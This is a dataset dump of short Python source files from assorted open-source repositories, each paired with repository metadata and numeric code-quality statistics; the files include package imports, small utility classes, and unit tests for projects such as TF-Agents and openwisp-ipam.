e8009ae6e9cfee2aa830b95eaa206bd715a0cc12 | 36 | py | Python | spacetimeformer/s4_model/__init__.py | jakegrigsby/spacetimeformer | 8d7b54ec7102c5c540927b717837f046cc3e5013 | [
"MIT"
] | 209 | 2021-09-28T13:59:56.000Z | 2022-03-31T23:29:43.000Z | spacetimeformer/s4_model/__init__.py | jakegrigsby/spacetimeformer | 8d7b54ec7102c5c540927b717837f046cc3e5013 | [
"MIT"
] | 30 | 2021-09-30T07:53:38.000Z | 2022-03-22T01:13:42.000Z | spacetimeformer/s4_model/__init__.py | jakegrigsby/spacetimeformer | 8d7b54ec7102c5c540927b717837f046cc3e5013 | [
"MIT"
] | 49 | 2021-10-29T22:47:20.000Z | 2022-03-30T15:24:56.000Z | from .s4_model import S4_Forecaster
| 18 | 35 | 0.861111 | 6 | 36 | 4.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.111111 | 36 | 1 | 36 | 36 | 0.84375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
e81c303e79af2d500e3d5f5e4ec13f2ba3d1639d | 41 | py | Python | models/__init__.py | kibok90/imix | 7d35b429dfe67b24872823d59fb04a2ce23be635 | [
"MIT"
] | 48 | 2021-03-19T03:04:05.000Z | 2022-03-24T05:46:39.000Z | models/__init__.py | kibok90/imix | 7d35b429dfe67b24872823d59fb04a2ce23be635 | [
"MIT"
] | 3 | 2021-07-27T12:55:40.000Z | 2021-12-11T02:23:31.000Z | models/__init__.py | kibok90/imix | 7d35b429dfe67b24872823d59fb04a2ce23be635 | [
"MIT"
] | 6 | 2021-07-14T19:42:50.000Z | 2022-02-27T12:43:28.000Z | from .resnet import *
from .mlp import *
| 13.666667 | 21 | 0.707317 | 6 | 41 | 4.833333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195122 | 41 | 2 | 22 | 20.5 | 0.878788 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
e828a27f22f913d4e3226aa26831a98feb1bbf33 | 132 | py | Python | lib/requests_oauthlib/compliance_fixes/__init__.py | huangkuan/hack | 433e213915749d9c510abf3c7462d5256b5e37eb | [
"Apache-2.0"
] | 2 | 2015-11-05T09:43:45.000Z | 2017-05-31T14:22:02.000Z | flask/lib/site-packages/requests_oauthlib/compliance_fixes/__init__.py | CodingForChange/praquemdoar | 575d67d211473f352adcd9d7c405c7a5cf18fc6e | [
"Apache-2.0"
] | 7 | 2021-02-08T20:22:15.000Z | 2022-03-11T23:19:41.000Z | flask/lib/site-packages/requests_oauthlib/compliance_fixes/__init__.py | CodingForChange/praquemdoar | 575d67d211473f352adcd9d7c405c7a5cf18fc6e | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import
from .facebook import facebook_compliance_fix
from .linkedin import linkedin_compliance_fix
| 26.4 | 45 | 0.886364 | 17 | 132 | 6.352941 | 0.470588 | 0.240741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098485 | 132 | 4 | 46 | 33 | 0.907563 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1c4123d7dca17ab93ea3afbdefc8b1fe3e2114f5 | 20 | py | Python | vim/fred.py | timm/16 | 56e6c978274fb6a865cc804bee6f4b6ebb4e108f | [
"Unlicense"
] | null | null | null | vim/fred.py | timm/16 | 56e6c978274fb6a865cc804bee6f4b6ebb4e108f | [
"Unlicense"
] | 1 | 2016-04-28T01:50:44.000Z | 2016-04-28T01:50:44.000Z | vim/fred.py | timm/16 | 56e6c978274fb6a865cc804bee6f4b6ebb4e108f | [
"Unlicense"
] | null | null | null | def sasd():
fdfd
| 6.666667 | 12 | 0.55 | 3 | 20 | 3.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.3 | 20 | 2 | 13 | 10 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1c8a47ce1168a12701596eee32f87a0a22379935 | 592 | py | Python | nudgebot/settings.py | gshefer/Nudgebot | 4cf6cf1fe975a9002299f0460873c0f21bc8d414 | [
"MIT"
] | 3 | 2018-04-03T14:34:39.000Z | 2018-04-26T12:18:49.000Z | nudgebot/settings.py | gshefer/Nudgebot | 4cf6cf1fe975a9002299f0460873c0f21bc8d414 | [
"MIT"
] | null | null | null | nudgebot/settings.py | gshefer/Nudgebot | 4cf6cf1fe975a9002299f0460873c0f21bc8d414 | [
"MIT"
] | null | null | null | """Settings."""
from nudgebot.base import Singleton
class CurrentProject(metaclass=Singleton):
"""A proxy object for the current project."""
def __init__(self):
self._project_package = None
def __bool__(self):
return bool(self._project_package)
def setup(self, current_project_packag... | 25.73913 | 73 | 0.6875 | 66 | 592 | 5.772727 | 0.439394 | 0.293963 | 0.188976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217905 | 592 | 22 | 74 | 26.909091 | 0.822894 | 0.243243 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.1 | 0.2 | 0.8 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
98c5bf471ce8a9d2d862d2c98d0e3f1037124a8e | 14 | py | Python | testSources/incorrect/f1.py | Gavaharlal/fpTask1 | 1f070ad9ad0c56f56488cc27ac263854c7c010d8 | [
"BSD-3-Clause"
] | null | null | null | testSources/incorrect/f1.py | Gavaharlal/fpTask1 | 1f070ad9ad0c56f56488cc27ac263854c7c010d8 | [
"BSD-3-Clause"
] | null | null | null | testSources/incorrect/f1.py | Gavaharlal/fpTask1 | 1f070ad9ad0c56f56488cc27ac263854c7c010d8 | [
"BSD-3-Clause"
] | null | null | null | print(print()) | 14 | 14 | 0.714286 | 2 | 14 | 5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 1 | 14 | 14 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
98d811f543402e5f4582103be7e63a7989b1447f | 211 | py | Python | tests/4lines.py | ZYAZP/python2 | 7dc3b62eff51e1decb4a408122e77630fdc1687d | [
"MIT"
] | 1,062 | 2015-11-18T01:04:33.000Z | 2022-03-29T07:13:30.000Z | tests/4lines.py | ArrowSides/onelinerizer | 7dc3b62eff51e1decb4a408122e77630fdc1687d | [
"MIT"
] | 26 | 2015-11-17T06:58:07.000Z | 2022-01-15T18:11:16.000Z | tests/4lines.py | ArrowSides/onelinerizer | 7dc3b62eff51e1decb4a408122e77630fdc1687d | [
"MIT"
] | 100 | 2015-11-17T09:01:22.000Z | 2021-09-12T13:58:28.000Z | ## inspired by https://wiki.python.org/moin/SimplePrograms
parents, babies = (1, 1)
while babies < 100:
print 'This generation has {0} babies'.format(babies)
parents, babies = (babies, parents + babies)
| 35.166667 | 58 | 0.701422 | 28 | 211 | 5.285714 | 0.678571 | 0.263514 | 0.256757 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033898 | 0.161137 | 211 | 5 | 59 | 42.2 | 0.80226 | 0.260664 | 0 | 0 | 0 | 0 | 0.196078 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.25 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
98dc38f58060b84552141c60ac6de836e2640bcf | 227 | py | Python | src/elemeno_ai_sdk/datasources/base_authenticator.py | elemeno-ai/elemeno-ai-sdk | 2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1 | [
"Apache-2.0"
] | 1 | 2021-11-16T13:38:39.000Z | 2021-11-16T13:38:39.000Z | src/elemeno_ai_sdk/datasources/base_authenticator.py | elemeno-ai/elemeno-ai-sdk | 2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1 | [
"Apache-2.0"
] | null | null | null | src/elemeno_ai_sdk/datasources/base_authenticator.py | elemeno-ai/elemeno-ai-sdk | 2737b2c9c575119bd40efcd8c5e91a98f9d8b6b1 | [
"Apache-2.0"
] | null | null | null | import abc
class BaseAuthenticator(metaclass=abc.ABCMeta):
@classmethod
def __subclasshook__(cls, subclass):
return (hasattr(subclass, 'authenticate') and
callable(subclass.authenticate))
| 22.7 | 53 | 0.682819 | 20 | 227 | 7.55 | 0.8 | 0.264901 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.229075 | 227 | 9 | 54 | 25.222222 | 0.862857 | 0 | 0 | 0 | 0 | 0 | 0.053097 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0.166667 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
98ef2aca48adab8c81758f582e45dba61145495e | 87 | py | Python | d004-loop.py | zsc/kid-programming | 3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c | [
"MIT"
] | 13 | 2017-07-02T12:44:24.000Z | 2021-03-23T07:34:30.000Z | d004-loop.py | zsc/kid-programming | 3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c | [
"MIT"
] | 1 | 2020-04-26T07:18:12.000Z | 2021-08-15T15:42:01.000Z | d004-loop.py | zsc/kid-programming | 3e8c8bfe379d5999e548a899a3fc6cd03ba6be7c | [
"MIT"
] | 6 | 2017-07-14T02:02:13.000Z | 2021-06-16T07:22:47.000Z | for i in range(10):
print(i)
for i in range(ord('a'), ord('z')+1):
print(chr(i))
| 14.5 | 37 | 0.551724 | 19 | 87 | 2.526316 | 0.578947 | 0.166667 | 0.25 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042857 | 0.195402 | 87 | 5 | 38 | 17.4 | 0.642857 | 0 | 0 | 0 | 0 | 0 | 0.022989 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
98f4de011b37a35ce3e6ae3e2121b8dc49d886e6 | 107 | py | Python | start.py | darokin/darshell-clock | 3449fbd3a093398e2c293f47cf142f9c3dbb414b | [
"MIT"
] | 16 | 2021-01-30T17:15:09.000Z | 2022-03-26T18:48:19.000Z | start.py | darokin/darshell-clock | 3449fbd3a093398e2c293f47cf142f9c3dbb414b | [
"MIT"
] | null | null | null | start.py | darokin/darshell-clock | 3449fbd3a093398e2c293f47cf142f9c3dbb414b | [
"MIT"
] | null | null | null | # debug main to launch from the right folder (VScode)
from darshellclock import __main__
__main__.main()
| 17.833333 | 53 | 0.785047 | 15 | 107 | 5.066667 | 0.733333 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158879 | 107 | 5 | 54 | 21.4 | 0.844444 | 0.476636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
c75ace3654dd8a6f0b613656d709b8a1d23c3874 | 426 | py | Python | tests/stack_frame_analyzer/utils/baz.py | cesarmerjan/stack_frame_analyzer | 4e9f1899016423ca7c3b919221ff9b4778f0e82c | [
"MIT"
] | null | null | null | tests/stack_frame_analyzer/utils/baz.py | cesarmerjan/stack_frame_analyzer | 4e9f1899016423ca7c3b919221ff9b4778f0e82c | [
"MIT"
] | null | null | null | tests/stack_frame_analyzer/utils/baz.py | cesarmerjan/stack_frame_analyzer | 4e9f1899016423ca7c3b919221ff9b4778f0e82c | [
"MIT"
] | null | null | null | from .main import stack_frame_analyzer
class Baz:
@classmethod
def get_baz_cls(cls, baz):
context = stack_frame_analyzer.get_caller_context()
return context
def get_baz(self, baz):
context = stack_frame_analyzer.get_caller_context()
return context
@staticmethod
de... | 23.666667 | 59 | 0.694836 | 53 | 426 | 5.226415 | 0.339623 | 0.144404 | 0.259928 | 0.216607 | 0.617329 | 0.617329 | 0.617329 | 0.617329 | 0.617329 | 0.617329 | 0 | 0 | 0.241784 | 426 | 17 | 60 | 25.058824 | 0.857585 | 0 | 0 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.076923 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
c75e26315d5ddd0bca930dcd5e7611899fa9eee4 | 252 | py | Python | ding/worker/learner/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 464 | 2021-07-08T07:26:33.000Z | 2022-03-31T12:35:16.000Z | ding/worker/learner/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 177 | 2021-07-09T08:22:55.000Z | 2022-03-31T07:35:22.000Z | ding/worker/learner/__init__.py | sailxjx/DI-engine | c6763f8e2ba885a2a02f611195a1b5f8b50bff00 | [
"Apache-2.0"
] | 92 | 2021-07-08T12:16:37.000Z | 2022-03-31T09:24:41.000Z | from .base_learner import BaseLearner, create_learner
from .comm import BaseCommLearner, FlaskFileSystemLearner, create_comm_learner
from .learner_hook import register_learner_hook, add_learner_hook, merge_hooks, LearnerHook, build_learner_hook_by_cfg
| 63 | 118 | 0.884921 | 33 | 252 | 6.333333 | 0.545455 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075397 | 252 | 3 | 119 | 84 | 0.896996 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
c79bb9bc5695ceb6ee4674f0549de55a9233847f | 5,820 | py | Python | tf_agents/agents/ddpg/actor_network_test.py | wookayin/tensorflow-agents | ae3751dfeed52422a350227047648dd82297960b | [
"Apache-2.0"
] | 2 | 2018-12-20T01:49:33.000Z | 2019-12-09T13:17:05.000Z | tf_agents/agents/ddpg/actor_network_test.py | kuanfang/agents | a0f25a4b44d4fc844c9b804bab60af2167f8d2bb | [
"Apache-2.0"
] | null | null | null | tf_agents/agents/ddpg/actor_network_test.py | kuanfang/agents | a0f25a4b44d4fc844c9b804bab60af2167f8d2bb | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# Copyright 2018 The TF-Agents Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 38.039216 | 76 | 0.715464 | 819 | 5,820 | 4.757021 | 0.174603 | 0.064168 | 0.061602 | 0.028234 | 0.75 | 0.748973 | 0.742043 | 0.708162 | 0.701745 | 0.684292 | 0 | 0.021391 | 0.17268 | 5,820 | 152 | 77 | 38.289474 | 0.787747 | 0.108591 | 0 | 0.697248 | 0 | 0 | 0.00445 | 0 | 0 | 0 | 0 | 0 | 0.146789 | 1 | 0.073395 | false | 0 | 0.045872 | 0 | 0.12844 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
c7f2ddf3bc7d294aad1d63fffda2db380d547057 | 320 | py | Python | test/integration/test_errors.py | mathewmarcus/swagger-diff | 92d700c82f35a0e589a72643b6749fe4b1c920bc | [
"MIT"
] | null | null | null | test/integration/test_errors.py | mathewmarcus/swagger-diff | 92d700c82f35a0e589a72643b6749fe4b1c920bc | [
"MIT"
] | null | null | null | test/integration/test_errors.py | mathewmarcus/swagger-diff | 92d700c82f35a0e589a72643b6749fe4b1c920bc | [
"MIT"
] | null | null | null | from swagger_diff.errors import update_errors, _errors
def test_errors():
update_errors('hello/world/foo/bar', 'Some error message')
update_errors('hello/world/foo/baz', 'Another error message')
assert {'hello': {'world': {'foo': {'bar': 'Some error message', 'baz': 'Another error message'}}}} == _errors
| 40 | 114 | 0.69375 | 42 | 320 | 5.119048 | 0.428571 | 0.223256 | 0.181395 | 0.204651 | 0.469767 | 0.297674 | 0.297674 | 0 | 0 | 0 | 0 | 0 | 0.134375 | 320 | 7 | 115 | 45.714286 | 0.776173 | 0 | 0 | 0 | 0 | 0 | 0.421875 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | true | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1bdc8f561b05b9e92caa339d3ae5ef80cc9e32a2 | 154 | py | Python | content/admin.py | muriithiderro/instagram | bcc3d933780b2ef319af01694f9d9b6328f99ead | [
"MIT"
] | null | null | null | content/admin.py | muriithiderro/instagram | bcc3d933780b2ef319af01694f9d9b6328f99ead | [
"MIT"
] | 6 | 2020-02-12T01:01:11.000Z | 2021-09-07T23:54:14.000Z | content/admin.py | muriithiderro/instagram | bcc3d933780b2ef319af01694f9d9b6328f99ead | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Photo,Comment
admin.site.register(Photo)
admin.site.register(Comment)
# Register your models here.
| 19.25 | 33 | 0.805195 | 22 | 154 | 5.636364 | 0.545455 | 0.145161 | 0.274194 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11039 | 154 | 7 | 34 | 22 | 0.905109 | 0.168831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1be8be5d3a15e8fe89d81df489b3eb272f8e13b9 | 125 | py | Python | lectures/05-python-intro/examples/func-def-order2.py | mattmiller899/biosys-analytics | ab24a4c7206ed9a865e896daa57cee3c4e62df1f | [
"MIT"
] | 14 | 2019-07-14T08:29:04.000Z | 2022-03-07T06:33:26.000Z | lectures/05-python-intro/examples/func-def-order2.py | mattmiller899/biosys-analytics | ab24a4c7206ed9a865e896daa57cee3c4e62df1f | [
"MIT"
] | null | null | null | lectures/05-python-intro/examples/func-def-order2.py | mattmiller899/biosys-analytics | ab24a4c7206ed9a865e896daa57cee3c4e62df1f | [
"MIT"
] | 33 | 2019-01-05T17:03:47.000Z | 2019-11-11T20:48:24.000Z | #!/usr/bin/env python3
def foo():
print('This is foo')
print('Starting the program')
foo()
print('Ending the program')
| 13.888889 | 29 | 0.664 | 19 | 125 | 4.368421 | 0.684211 | 0.289157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009524 | 0.16 | 125 | 8 | 30 | 15.625 | 0.780952 | 0.168 | 0 | 0 | 0 | 0 | 0.475728 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0 | 0 | 0.2 | 0.6 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
400f3deb2d8cd315b6392613193bf054f38a2dc6 | 12,204 | py | Python | openwisp_ipam/tests/test_api.py | parnus01/openwisp-ipam | 1567902fa2702ebbbb0b75629528a5b96cafdb86 | [
"BSD-3-Clause"
] | null | null | null | openwisp_ipam/tests/test_api.py | parnus01/openwisp-ipam | 1567902fa2702ebbbb0b75629528a5b96cafdb86 | [
"BSD-3-Clause"
] | null | null | null | openwisp_ipam/tests/test_api.py | parnus01/openwisp-ipam | 1567902fa2702ebbbb0b75629528a5b96cafdb86 | [
"BSD-3-Clause"
] | null | null | null | import json
from django.contrib.auth import get_user_model
from django.core.files.uploadedfile import SimpleUploadedFile
from django.test import TestCase
from django.urls import reverse
from openwisp_users.tests.utils import TestMultitenantAdminMixin
from swapper import load_model
from . import CreateModelsMixin, Pos... | 43.899281 | 88 | 0.639954 | 1,573 | 12,204 | 4.784488 | 0.084552 | 0.015413 | 0.02126 | 0.092479 | 0.823944 | 0.800027 | 0.733192 | 0.721233 | 0.670476 | 0.6443 | 0 | 0.053135 | 0.21198 | 12,204 | 277 | 89 | 44.057762 | 0.729437 | 0 | 0 | 0.425101 | 0 | 0 | 0.177565 | 0.027532 | 0 | 0 | 0 | 0 | 0.226721 | 1 | 0.08502 | false | 0 | 0.048583 | 0 | 0.137652 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
40234ec6cc8ebe427bb7b16249a64fa12783d414 | 53 | py | Python | src/otdb/__init__.py | andre4k14/otdb | ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4 | [
"MIT"
] | null | null | null | src/otdb/__init__.py | andre4k14/otdb | ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4 | [
"MIT"
] | null | null | null | src/otdb/__init__.py | andre4k14/otdb | ded1b6b902bbc1169cb94beb0d3f7a7d56ce70e4 | [
"MIT"
] | null | null | null | # flake8: noqa
from otdb.opentdb_wrapper import otdb
| 17.666667 | 37 | 0.811321 | 8 | 53 | 5.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021739 | 0.132075 | 53 | 2 | 38 | 26.5 | 0.891304 | 0.226415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
402b9bc2c4631405461402f52e6858926445207a | 87 | py | Python | ml3d/tf/modules/__init__.py | krshrimali/Open3D-ML | e6352ee84d38a4b90c71dd7f376f5570fe849537 | [
"MIT"
] | 447 | 2020-10-14T23:16:41.000Z | 2021-07-27T06:57:45.000Z | ml3d/tf/modules/__init__.py | krshrimali/Open3D-ML | e6352ee84d38a4b90c71dd7f376f5570fe849537 | [
"MIT"
] | 179 | 2021-07-27T15:32:33.000Z | 2022-03-30T14:32:53.000Z | ml3d/tf/modules/__init__.py | krshrimali/Open3D-ML | e6352ee84d38a4b90c71dd7f376f5570fe849537 | [
"MIT"
] | 92 | 2021-07-28T13:50:52.000Z | 2022-03-30T09:24:33.000Z | """Functional modules for tensorflow."""
from .losses import *
from .metrics import *
| 17.4 | 40 | 0.724138 | 10 | 87 | 6.3 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149425 | 87 | 4 | 41 | 21.75 | 0.851351 | 0.390805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
4048f02b99274385f582fdb4f8e2e241f386d5b7 | 27 | py | Python | tccli/__init__.py | ws0416/tencentcloud-cli-intl-en | 903a24dccc718a395d5ebe273c300787c1d2cf67 | [
"Apache-2.0"
] | null | null | null | tccli/__init__.py | ws0416/tencentcloud-cli-intl-en | 903a24dccc718a395d5ebe273c300787c1d2cf67 | [
"Apache-2.0"
] | null | null | null | tccli/__init__.py | ws0416/tencentcloud-cli-intl-en | 903a24dccc718a395d5ebe273c300787c1d2cf67 | [
"Apache-2.0"
] | null | null | null | __version__ = '3.0.239.1'
| 13.5 | 26 | 0.62963 | 5 | 27 | 2.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0.148148 | 27 | 1 | 27 | 27 | 0.304348 | 0 | 0 | 0 | 0 | 0 | 0.346154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
